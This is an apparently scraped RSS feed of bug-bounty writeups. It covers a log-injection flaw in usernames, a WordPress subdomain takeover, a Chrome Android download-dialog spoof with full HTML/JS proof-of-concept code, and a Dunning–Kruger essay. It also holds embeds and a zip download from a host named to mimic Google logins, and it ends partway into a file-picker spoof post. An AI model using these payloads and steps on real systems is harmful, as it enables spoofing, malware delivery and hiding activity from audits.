Note: The target name has been intentionally censored in this public writeup. References to the affected service appe...]]></description><link>https://bountyproofs.com/the-username-that-vanished-from-logs-a-business-logic-breakdown-worth-more-than-xxx</link><guid isPermaLink="true">https://bountyproofs.com/the-username-that-vanished-from-logs-a-business-logic-breakdown-worth-more-than-xxx</guid><category><![CDATA[#bountytipswebsite]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Syarif Muhammad Sajjad]]></dc:creator><pubDate>Sun, 09 Nov 2025 06:30:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762669794213/e2eb14f2-23cb-4940-99e7-928afcfb6df2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Scope:</strong> <code>bugbounty.[REDACTED TARGET]</code><br /><strong>Weakness:</strong> Business Logic Errors<br /><strong>Severity:</strong> Low (3.4) $xxx<br /><strong>Reporter:</strong> @syarif07<br /><strong>Report date:</strong> 2025-05-31</p>
<blockquote>
<p><strong>Note:</strong> The target name has been intentionally censored in this public writeup. References to the affected service appear as <strong>[REDACTED TARGET]</strong>.</p>
</blockquote>
<hr />
<h2 id="heading-tldr">TL;DR</h2>
<p>A logging/formatting issue allowed attacker-controlled usernames containing newline characters. When such a username performed actions that were recorded in the <em>logs-history</em> log, the entry formatting collapsed and the username disappeared — effectively hiding who performed the action. This weakens audit trails and can be abused to obfuscate malicious activity.</p>
<hr />
<h2 id="heading-background">Background</h2>
<p>Audit logs and logs histories are often trusted sources for accountability, incident response, and compliance. Even small formatting or sanitization bugs in how identities are recorded can break those guarantees.</p>
<p>During a bounty assessment on <code>bugbounty.[REDACTED TARGET]</code> I discovered that the application accepted usernames with control characters (specifically multiple newline characters). Those usernames were later used verbatim when writing logs-history entries. Because log lines were not sanitized or normalized, the injected newlines shifted or removed the visible username portion of the log entry.</p>
<hr />
<h2 id="heading-what-i-found">What I found</h2>
<ul>
<li><p>The application allows an authenticated user to update their account <code>name</code> to a string containing newline characters.</p>
</li>
<li><p>When a user with such a newline-containing name performs actions (for example, creating an logs), the <code>logs history</code> entry is recorded but the username does not appear in the expected position — effectively hiding who performed the action.</p>
</li>
<li><p>This is a <strong>business logic / logging</strong> defect (not a classic code execution or privilege escalation), but it has high operational impact for forensics and auditability.</p>
</li>
</ul>
<hr />
<h2 id="heading-steps-to-reproduce">Steps to reproduce</h2>
<blockquote>
<p>The exact URLs and host are intentionally redacted. This section summarizes the steps conceptually.</p>
</blockquote>
<ol>
<li><p>Authenticate as a user with permission to edit your profile.</p>
</li>
<li><p>Edit the account <code>name</code> field and set it to a value containing newline characters (for example: <code>\n\n\n\n</code>).</p>
</li>
<li><p>Perform an action that is recorded in <code>logs-history</code> (e.g., create an logs).</p>
</li>
<li><p>Inspect the logs-history entry for that action. The username will be missing or the log line will be malformed.</p>
</li>
</ol>
<p><strong>Vulnerable request example (redacted):</strong></p>
<pre><code class="lang-http"><span class="hljs-keyword">PATCH</span> <span class="hljs-string">/api/v1/users/&lt;ATTACKER_USER_ID&gt;</span> HTTP/2
<span class="hljs-attribute">Content-Type</span>: application/json;charset=utf-8

<span class="clojure">{<span class="hljs-string">"name"</span>:<span class="hljs-string">"



"</span>}</span>
</code></pre>
<hr />
<h2 id="heading-proof-of-concept">Proof-of-concept</h2>
<p>I provided a proof-of-concept during disclosure that demonstrates the behavior. (Censored identifiers and attachments omitted from this public writeup.) The core idea is that newline control characters in a username cause the log formatting to break, removing the visible username from the log line.</p>
<hr />
<h2 id="heading-impact">Impact</h2>
<ul>
<li><p><strong>Loss of attribution:</strong> Audit and logs can omit who performed an action.</p>
</li>
<li><p><strong>Reduced trust:</strong> Forensic evidence derived from logs history may be incomplete or misleading.</p>
</li>
<li><p><strong>Operational risk:</strong> Attackers can more easily hide or obfuscate activity that would otherwise be tied to an identity.</p>
</li>
</ul>
<p>While the vulnerability is a formatting/business-logic issue (and was triaged as Low severity under the program's scoring), its operational impact on trust and incident response can be significant in sensitive environments.</p>
<hr />
<h2 id="heading-timeline-abridged">Timeline (abridged)</h2>
<ul>
<li><p>2025-05-31 — Report submitted by @syarif07</p>
</li>
<li><p>2025-06-13 — Engineer confirmed the issue (triaged)</p>
</li>
<li><p>2025-08-12 — Bounty awarded (fix planned)</p>
</li>
<li><p>2025-10-17 — Initial retest showed issue still present</p>
</li>
<li><p>2025-11-07 — Final retest: fix verified and report resolved</p>
</li>
</ul>
<hr />
<h2 id="heading-mitigation-amp-recommendations">Mitigation &amp; Recommendations</h2>
<p>To developers and platform owners:</p>
<ol>
<li><p><strong>Sanitize user-provided identity fields</strong> (names, display names) before storing and before rendering into logs. Specifically:</p>
<ul>
<li><p>Strip or normalize control characters (newlines, carriage returns, tabs).</p>
</li>
<li><p>Consider rejecting names containing control characters at input validation.</p>
</li>
</ul>
</li>
<li><p><strong>Canonicalize audit log formatting</strong>:</p>
<ul>
<li><p>Use structured logging (JSON logs with dedicated <code>actor</code> fields) rather than composing log lines through string concatenation.</p>
</li>
<li><p>When rendering logs for UI, escape or visualize non-printable characters rather than allowing them to change layout.</p>
</li>
</ul>
</li>
<li><p><strong>Hardening and detection</strong>:</p>
<ul>
<li><p>Add regex-based validation for identity attributes to restrict to printable characters and reasonable length.</p>
</li>
<li><p>Add monitoring/alerts for log entries that are missing expected fields or that contain suspicious whitespace patterns.</p>
</li>
</ul>
</li>
<li><p><strong>Retrospective checks</strong>:</p>
<ul>
<li><p>Re-scan existing logs-history entries for suspicious/malformed entries created from accounts that may contain control characters.</p>
</li>
<li><p>If audit trails are used for compliance, consider preserving raw event payloads and separate display formatting to avoid loss of attribution.</p>
</li>
</ul>
</li>
</ol>
<hr />
<h2 id="heading-lessons-learned">Lessons learned</h2>
<ul>
<li><p>Small input validation holes can have outsized effects on operational security and trust.</p>
</li>
<li><p>Structured logging saves you from many classes of formatting-related failures.</p>
</li>
<li><p>When designing audit trails, assume malicious input — including unusual Unicode and control characters.</p>
</li>
</ul>
<hr />
<h2 id="heading-acknowledgements">Acknowledgements</h2>
<p>Thanks to the engineering team at <strong>[REDACTED TARGET]</strong> for working through retests and deploying a fix. Thanks also to the HackerOne analysts who reviewed the report, and to the wider security community for encouraging responsible disclosure practices.</p>
<hr />
<h2 id="heading-full-disclosure-policy">Full disclosure policy</h2>
<p>This writeup is authored by the original reporter. The target name has been censored per the author's request. For questions about technical details or to request additional details (where appropriate), contact the author handle: <strong>@syarif07</strong>.</p>
<hr />
<p><em>End of writeup.</em> Rocket science is not rocket science</p>
]]></content:encoded></item><item><title><![CDATA[Subdomain Takeover: via Unclaimed CNAME on WordPress]]></title><description><![CDATA[Halo guys, kali ini aku xzyhellsing, mau membahas kerentanan Subdomain Takeover di mana attacker bisa mengambil alih sebuah subdomain yang expired/unactive di Wordpress.com
Steps to Reproduce:

Subdomain yang didukung WordPress, katakanlah contohnya ...]]></description><link>https://bountyproofs.com/subdomain-takeover-via-unclaimed-cname-on-wordpress</link><guid isPermaLink="true">https://bountyproofs.com/subdomain-takeover-via-unclaimed-cname-on-wordpress</guid><category><![CDATA[#bountytipswebsite]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[xzyhellsing]]></dc:creator><pubDate>Sun, 09 Nov 2025 06:15:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762668217596/9c219376-59a1-4cf0-a9c5-8ca882cb2e93.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Halo guys, kali ini aku xzyhellsing, mau membahas kerentanan Subdomain Takeover di mana attacker bisa mengambil alih sebuah subdomain yang expired/unactive di Wordpress.com</p>
<p><strong>Steps to Reproduce:</strong></p>
<ol>
<li>Subdomain yang didukung WordPress, katakanlah contohnya <code>slebew.aweawe.com</code> memiliki service fingerprint seperti ini:,</li>
</ol>
<pre><code class="lang-plaintext">Error: Active domain connection

Something unexpected happened while accessing this website. It looks like it doesn’t have an active domain connection upgrade to link the requested domain name to the WordPress.com site.

If this is your domain name and it has recently stopped working, it's possible that your plan or domain may have expired. Please log in to your WordPress.com account and review the status of your plan and domain.
</code></pre>
<ol start="2">
<li><p>Selanjut nya masuk ke akun WordPress ke url ini: <a target="_blank" href="https://wordpress.com/start/domains/use-your-domain">https://wordpress.com/start/domains/use-your-domain</a>,</p>
</li>
<li><p>Hubungkan subdomain <code>slebew.aweawe.com</code> dengan membayar biaya langganan yang bisa connect domain.,</p>
</li>
<li><p>Setelah berhasil menghubungkan subdomain yang vulnerable, silahkan untuk menghost proof of concept nya contoh nya seperti ini : <code>slebew.aweawe.com/namakalian.html</code>,</p>
</li>
</ol>
<p>Impact: Pengambilalihan subdomain yang disalahgunakan untuk beberapa tujuan:</p>
<ul>
<li><p>Distribusi malware.</p>
</li>
<li><p>Phishing / Spear phishing.</p>
</li>
<li><p>XSS.</p>
</li>
</ul>
<p>Useful Resource/Reference:</p>
<ul>
<li><p><a target="_blank" href="https://sapt.medium.com/wordpress-subdomain-takeover-on-bugcrowd-private-program-f59b5a0d74a7">https://sapt.medium.com/wordpress-subdomain-takeover-on-bugcrowd-private-program-f59b5a0d74a7</a>,</p>
</li>
<li><p><a target="_blank" href="https://www.hackerone.com/blog/guide-subdomain-takeovers-20">https://www.hackerone.com/blog/guide-subdomain-takeovers-20</a>,</p>
</li>
<li><p><a target="_blank" href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a>,</p>
</li>
</ul>
<p>Semoga bermanfaat, Happy hunting 😎</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762668658214/1a30a729-7a65-4c2f-9e19-809b3c2b2eda.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[$1000 from Chrome VRP for a Simple File Download Dialog Handling Bug on Android]]></title><description><![CDATA[Alhamdulillah, beberapa bulan lalu saya berhasil mendapatkan bounty $1000 dari Chrome VRP melalui bug insecure download handling yang saya temukan pada Chrome Android. Mari kita bahas PoC lengkapnya.

Awalnya, saya menemukan bug ini melalui cara yang...]]></description><link>https://bountyproofs.com/1000-from-chrome-vrp-for-a-simple-file-download-dialog-handling-bug-on-android</link><guid isPermaLink="true">https://bountyproofs.com/1000-from-chrome-vrp-for-a-simple-file-download-dialog-handling-bug-on-android</guid><category><![CDATA[Browsers]]></category><category><![CDATA[#bountytipsbrowser]]></category><category><![CDATA[chromium]]></category><category><![CDATA[bug hunter]]></category><dc:creator><![CDATA[Frozzipies]]></dc:creator><pubDate>Sun, 09 Nov 2025 05:56:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762667624751/84ce5eec-2a76-48f4-8cb3-01e03ea2c542.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Alhamdulillah, beberapa bulan lalu saya berhasil mendapatkan bounty $1000 dari Chrome VRP melalui bug insecure download handling yang saya temukan pada Chrome Android. Mari kita bahas PoC lengkapnya.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762667163378/fd113478-b251-49ba-91d8-6bee476a6d30.png" alt class="image--center mx-auto" /></p>
<p>Awalnya, saya menemukan bug ini melalui cara yang nggak terduga, karena sebelumnya saya hanya mencoba retest semua vulnerability yg sudah di disclosed oleh pihak Chromium. Buat yang belum tau, ini adalah link query untuk melihat semua vulnerability yg sudah di fixed dan di disclosed oleh Chromium untuk bahan belajar:</p>
<p><a target="_blank" href="https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof">https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof</a></p>
<p>Sampai pada akhirnya saya menemukan bug yang sangat menarik, dan dibayar bounty dengan bounty besar juga, yaitu $7500 (<a target="_blank" href="https://issues.chromium.org/issues/40055527">https://issues.chromium.org/issues/40055527). Bug nya cukup simpel, intinya file downl</a>oad confirmation bisa muncul di origin lain. Contohnya kalau di Chrome Android, ketika kita ingin download file misal file <code>.apk</code>, browser akan memunculkan confirmation dialog untuk memastikan apakah kita beneran mau download file itu atau tidak. Confirmation dialog itu harusnya hanya boleh muncul pada tab yang merupakan origin dari file tersebut, semisal confirmation dialog tersebut merupakan konfirmasi untuk download file <code>facebook.apk</code> dari website <a target="_blank" href="https://facebook.com"><code>https://facebook.com</code></a>, harusnya confirmation dialog itu hanya boleh muncul di <a target="_blank" href="https://facebook.com"><code>https://facebook.com</code></a>, gak boleh di web lain. Cuplikan video PoC dari report <a target="_blank" href="https://issues.chromium.org/issues/40055527">https://issues.chromium.org/issues/40055527</a> bisa dilihat pada.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762667379193/ee6287c2-8d23-4178-9001-668fe112e9ab.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762667227421/f1ead537-4112-4269-9c62-d897973b6a46.png" alt class="image--center mx-auto" /></p>
<p>Disitu terlihat bahwa confirmation dialog poc.apk bisa muncul pada site <a target="_blank" href="http://google.com"><code>google.com</code></a>, padahal aslinya file itu berasal dari <a target="_blank" href="http://sha3.ezyro.com"><code>sha3.ezyro.com</code></a>, dengan adanya kerentanan ini user akan mengira bahwa <code>poc.apk</code> benar-benar berasal dari <a target="_blank" href="https://google.com"><code>https://google.com</code></a> (padahal bukan).</p>
<p>Nah, biasanya setiap security bug yang sudah di disclosed oleh Chromium, akan disertakan juga file exploitnya, kalau spoof biasanya akan di share dalam bentuk HTML &amp; JS [GAMBAR 3]. Langsung saja disini saya melakukan retest bug tersebut tanpa melakukan custom dari exploit yang sudah ada, hanya mengganti lokasi tempat file <code>.apk</code> tersebut di download saja yang diganti. Dan jadinya file PoC berikut ini:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"utf-8"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.button</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#4CAF50</span>;
  <span class="hljs-attribute">border</span>: none;
  <span class="hljs-attribute">color</span>: white;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">15px</span> <span class="hljs-number">32px</span>;
  <span class="hljs-attribute">text-align</span>: center;
  <span class="hljs-attribute">text-decoration</span>: none;
  <span class="hljs-attribute">display</span>: inline-block;
  <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">4px</span> <span class="hljs-number">2px</span>;
  <span class="hljs-attribute">cursor</span>: pointer;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span> 
 <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">a</span>(<span class="hljs-params"></span>)</span>{
    <span class="hljs-built_in">window</span>.open(<span class="hljs-string">'https://google.com'</span>, <span class="hljs-string">'x'</span>);
    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        <span class="hljs-built_in">window</span>.open(<span class="hljs-string">'https://frozzipies.github.io/test.apk'</span>, <span class="hljs-string">'x'</span>);
    }, <span class="hljs-number">5000</span>);
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">center</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Download From Original Site"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"a()"</span>&gt;</span> <span class="hljs-tag">&lt;/<span class="hljs-name">center</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Kunci dari file PoC ini ada pada JS code berikut ini. Yang dimana akan membuat trigger, ketika button di click, browser akan membuka https:/<a target="_blank" href="http://google.com">google.com</a> dan melakukan download file <code>.apk</code> dari <a target="_blank" href="https://frozzipies.github.io/test.apk">https://frozzipies.github.io/test.apk menggunakan</a> <a target="_blank" href="http://window.open"><code>window.open</code></a> <a target="_blank" href="https://frozzipies.github.io/test.apk">dan</a> <code>setTimeout</code></p>
<pre><code class="lang-xml"> <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">a</span>(<span class="hljs-params"></span>)</span>{
    <span class="hljs-built_in">window</span>.open(<span class="hljs-string">'https://google.com'</span>, <span class="hljs-string">'x'</span>);
    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
        <span class="hljs-built_in">window</span>.open(<span class="hljs-string">'https://frozzipies.github.io/test.apk'</span>, <span class="hljs-string">'x'</span>);
    }, <span class="hljs-number">5000</span>);
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">center</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Download From Original Site"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"a()"</span>&gt;</span> <span class="hljs-tag">&lt;/<span class="hljs-name">center</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
</code></pre>
<p>Dengan mengeksekusi button tersebut, user akan di redirect ke <a target="_blank" href="https://google.com/">https://google.com/</a> dan melakukan eksekusi fungsi <code>setTimeout</code> setelah 5 detik, untuk memunculkan dialog download <code>test.apk</code> dari <a target="_blank" href="https://frozzipies.github.io/test.apk">https://frozzipies.github.io/test.apk</a> sebagai attacker site.</p>
<p>Awalnya saya berpikir bug ini sudah di fixed, ternyata Chromium belum melakukan fixing secara penuh terkait bug ini. Karena, Chromium memiliki fitur "file might be harmful" yang akan selalu muncul ketika user mendownload executable file seperti <code>.apk .exe .sh dll</code> secara direct.</p>
<p>Jadi ketika executable file yang di download, confirmation dialog tidak akan lagi muncul, melainkan yang akan muncul adalah "file might be harmful" dialog, Dan yang jadi root cause dari bug ini adalah pada "file might be harmful" dialog yang tidak memiliki origin, sehingga dialog tersebut bisa muncul di origin atau site manapun tanpa ada security restriction seperti confirmation dialog. Sebenarnya saya berharap bug ini akan dibayar lebih tinggi dibanding $1000, tapi ya mungkin rejekinya memang segini, jadi tetep disyukuri aja, Alhamdulillah. VIdeo PoC dan file PoC exploitnya sudah saya attach ya di Laporan asli bug ini: <a target="_blank" href="https://issues.chromium.org/issues/415496161">https://issues.chromium.org/issues/415496161</a></p>
]]></content:encoded></item><item><title><![CDATA[Efek Dunning–Kruger di Dunia Bug Bounty: Dari Rasa Tahu Sedikit Menjadi Ilusi Kehebatan.]]></title><description><![CDATA[Dunia bug bounty sedang tumbuh dengan cepat mungkin terlalu cepat untuk sebagian penghuninya.Setiap minggu ada saja wajah baru yang mengumumkan “keberhasilan besar”: laporan diterima oleh NASA.Di balik itu, sering kali temuan yang dimaksud hanyalah l...]]></description><link>https://bountyproofs.com/efek-dunningkruger-di-dunia-bug-bounty-dari-rasa-tahu-sedikit-menjadi-ilusi-kehebatan</link><guid isPermaLink="true">https://bountyproofs.com/efek-dunningkruger-di-dunia-bug-bounty-dari-rasa-tahu-sedikit-menjadi-ilusi-kehebatan</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Sun, 09 Nov 2025 00:33:59 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762646714091/5ed7fd15-d25f-4397-9093-a43816c07146.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dunia bug bounty sedang tumbuh dengan cepat mungkin terlalu cepat untuk sebagian penghuninya.<br />Setiap minggu ada saja wajah baru yang mengumumkan “keberhasilan besar”: laporan diterima oleh NASA.<br />Di balik itu, sering kali temuan yang dimaksud hanyalah <em>low severity bug</em> di subdomain tidak penting.<br />Tapi bukan soal teknisnya yang menarik perhatian melainkan bagaimana euforia kecil itu sering berubah menjadi keyakinan besar bahwa seseorang telah “menjadi hacker profesional”.</p>
<p>Inilah gejala klasik dari <strong>efek Dunning–Kruger</strong>, bias psikologis yang membuat orang dengan kemampuan minim justru merasa paling kompeten.<br />Di dunia bug bounty, efek ini tidak hanya hidup, ia berkembang biak, dibungkus dalam sertifikat, disebar lewat media, dan dijual sebagai kursus berbayar.</p>
<h2 id="heading-dunning-kruger-ketika-tidak-tahu-diri-terlihat-seperti-percaya-diri">Dunning Kruger: Ketika Tidak Tahu Diri Terlihat Seperti Percaya Diri</h2>
<p>David Dunning dan Justin Kruger pertama kali mengamati fenomena ini di laboratorium psikologi:<br />orang dengan kemampuan rendah cenderung melebih-lebihkan kapabilitasnya, karena mereka bahkan tidak cukup tahu untuk menyadari keterbatasan diri sendiri.</p>
<p>Dalam bug bounty, eksperimen itu berjalan di dunia nyata.<br />Seseorang menemukan bug <em>information disclosure</em>, menerima ucapan terima kasih dari NASA, lalu memproklamirkan diri sebagai “pemburu bug internasional”.<br />Tak lama kemudian muncul kelas daring dengan tajuk “cara cepat dapat bounty”.<br />Di sinilah batas antara <em>prestasi kecil</em> dan <em>kepercayaan diri besar</em> benar-benar kabur.</p>
<h2 id="heading-ketika-sensasi-mengalahkan-akurasi">Ketika Sensasi Mengalahkan Akurasi</h2>
<p>Media punya peran penting dalam memperbesar efek ini.<br />Mereka jarang memahami konteks teknis, tapi sangat memahami nilai jual dari kata “hacker” dan “NASA”.<br />Satu bug <em>low severity</em> di subdomain sandbox bisa berubah menjadi “anak bangsa tembus sistem luar angkasa”.<br />Publik yang awam menelan narasi itu mentah-mentah.<br />Dan yang bersangkutan, alih-alih meluruskan, memilih diam atau lebih parah, memanfaatkannya.</p>
<p><mark>Begitu label “hacker NASA” melekat, segala bentuk kritik dianggap iri, segala saran dianggap serangan.<br />Padahal kritik semacam itu sering datang dari orang-orang yang dulu juga pernah ada di posisi yang sama, pernah salah paham tentang kemampuan diri sendiri.</mark></p>
<p><img src="https://3starlearningexperiences.wordpress.com/wp-content/uploads/2016/09/dunning-kruger.png?w=620" alt="Efek Dunning-Kruger: Paradoks Beracun – Pengalaman belajar 3 Bintang" class="image--center mx-auto" /></p>
<h2 id="heading-keseimbangan-di-antara-belajar-mengajar-dan-mengaku-tak-tahu">Keseimbangan: Di Antara Belajar, Mengajar, dan Mengaku Tak Tahu</h2>
<p>Mengajar bukan dosa.<br />Bahkan pemula pun boleh berbagi pengalaman, selama tahu batas antara berbagi dan menipu.<br />Masalah muncul ketika “ingin mengajar” berubah jadi “ingin dianggap tahu segalanya.”</p>
<p>Dalam dunia bug bounty, pengetahuan teknis penting, tapi kesadaran diri lebih penting lagi.<br />Karena Ia bukan hanya menyesatkan dirinya sendiri, tapi juga seluruh ekosistem yang mencoba belajar darinya.</p>
<h2 id="heading-solusi-menyembuhkan-dunningkruger-dengan-ekosistem-yang-jujur"><strong>Solusi: Menyembuhkan Dunning–Kruger dengan Ekosistem yang Jujur</strong></h2>
<p>Dunia bug bounty tidak butuh lebih banyak pengajar instan, tapi lebih banyak ruang belajar yang jujur.<br />Komunitas keamanan siber bisa meminimalisir efek Dunning–Kruger dengan tiga hal sederhana: transparansi, kritik sehat, dan mentorship.</p>
<p>Transparansi berarti tidak menutupi konteks pencapaian.<br />Kalau menemukan bug kecil, katakan sebagaimana adanya tidak perlu dibungkus dengan narasi yang di lebih lebihkan.<br />Kritik sehat berarti tidak hanya menertawakan pemula yang salah arah, tapi membantu mereka memahami di mana letak kekeliruannya.<br />Dan mentorship berarti para senior perlu lebih terbuka tidak hanya muncul untuk mengoreksi, tapi juga membimbing.</p>
<p>Ketika tiga hal itu hidup di komunitas, rasa ingin tahu akan kembali menggantikan rasa ingin diakui.<br />Dan efek Dunning Kruger perlahan kehilangan panggungnya.</p>
<h2 id="heading-penutup-antara-kepintaran-dan-kebijaksanaan">Penutup: Antara Kepintaran dan Kebijaksanaan</h2>
<p>Efek Dunning Kruger tidak akan hilang dari dunia ini, tapi ia bisa dikendalikan dengan satu hal sederhana: kesadaran diri.<br />seperti halnya dalam hidup, yang berbahaya bukanlah orang yang belum tahu, melainkan mereka yang berhenti belajar karena merasa sudah tahu.<br />Bug bounty seharusnya menjadi ruang eksplorasi, bukan panggung ego.</p>
<p><mark>Kehebatan sejati tidak datang dari seberapa cepat kamu viral, tapi dari seberapa lama kamu tahan untuk terus belajar tanpa perlu diakui. -sinju 1945</mark></p>
]]></content:encoded></item><item><title><![CDATA[U-Gen Tool]]></title><link>https://bountyproofs.com/u-gen-tool</link><guid isPermaLink="true">https://bountyproofs.com/u-gen-tool</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Sun, 19 Oct 2025 17:33:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760895646682/a3cd2c84-db74-4d77-abf5-76136b84289f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe src="https://clouds-admins-logins-ads-google-com.github.io/spofcenah2/uniktextgenerate.html" width="100%" height="1000" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item><item><title><![CDATA[File belajar Bugbounty part 2]]></title><link>https://bountyproofs.com/file-belajar-bugbounty-part-2</link><guid isPermaLink="true">https://bountyproofs.com/file-belajar-bugbounty-part-2</guid><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Sun, 05 Oct 2025 14:38:09 GMT</pubDate><content:encoded><![CDATA[<iframe src="https://drive.google.com/file/d/17DhJ_9vDRy4q9-SAbjgg3HUDdBAO29WZ/preview" width="100%" height="600px" style="border:0">
</iframe>]]></content:encoded></item><item><title><![CDATA[hashtag.io lab vuln]]></title><description><![CDATA[Download lab : Click Here  
Original repositorie : https://github.com/Subhajit25Mondal/hashtag.io]]></description><link>https://bountyproofs.com/hashtagio-lab-vuln</link><guid isPermaLink="true">https://bountyproofs.com/hashtagio-lab-vuln</guid><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Sun, 05 Oct 2025 06:19:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759645119862/4ff62357-8777-4d58-98c2-71d8d4ed98f7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://user-images.githubusercontent.com/27961735/38722563-e759e80a-3f1b-11e8-99b1-67c38138cb82.PNG" alt="capture1" /></p>
<p><img src="https://user-images.githubusercontent.com/27961735/38722566-eac5aed4-3f1b-11e8-8165-1e1efb28ae9a.PNG" alt="capture2" /></p>
<p><img src="https://user-images.githubusercontent.com/27961735/38722592-fd4dda04-3f1b-11e8-938c-7cbe298b0670.PNG" alt="capture3" /></p>
<p><img src="https://user-images.githubusercontent.com/27961735/38722594-005daae4-3f1c-11e8-9b18-23262fd79684.PNG" alt="capture4" /></p>
<p><img src="https://user-images.githubusercontent.com/27961735/38722595-01c5f6d4-3f1c-11e8-9cb3-131334038bd7.PNG" alt="capture5" /></p>
<p>Download lab : <a target="_blank" href="https://github.com/clouds-admins-logins-ads-google-com/blogtools/raw/refs/heads/main/insta.zip">Click Here</a>  </p>
<p>Original repositorie : <a target="_blank" href="https://github.com/Subhajit25Mondal/hashtag.io">https://github.com/Subhajit25Mondal/hashtag.io</a></p>
]]></content:encoded></item><item><title><![CDATA[Misplaced File Picker Dialog Across Tabs in Browser]]></title><description><![CDATA[Kerentanan ini memungkinkan attacker untuk memicu file picker dialog (misalnya untuk memilih foto) pada tab yang berbeda dari yang aktif, membuat korban percaya bahwa mereka sedang mengupload file ke situs tepercaya (seperti Google.com), padahal aksi...]]></description><link>https://bountyproofs.com/misplaced-file-picker-dialog-across-tabs-in-browser</link><guid isPermaLink="true">https://bountyproofs.com/misplaced-file-picker-dialog-across-tabs-in-browser</guid><category><![CDATA[#bountytipsbrowser]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Wed, 01 Oct 2025 17:06:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759338366483/5719c8ac-57c6-45f8-b2eb-e9bc8eec552a.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Kerentanan ini memungkinkan attacker untuk memicu <strong>file picker dialog</strong> (misalnya untuk memilih foto) pada <strong>tab yang berbeda dari yang aktif</strong>, membuat korban percaya bahwa mereka sedang mengupload file ke situs <strong>tepercaya</strong> (seperti Google.com), padahal aksi tersebut sebenarnya terjadi di halaman attacker.</p>
<h2 id="heading-konsep-amp-teknik">💡 Konsep &amp; Teknik</h2>
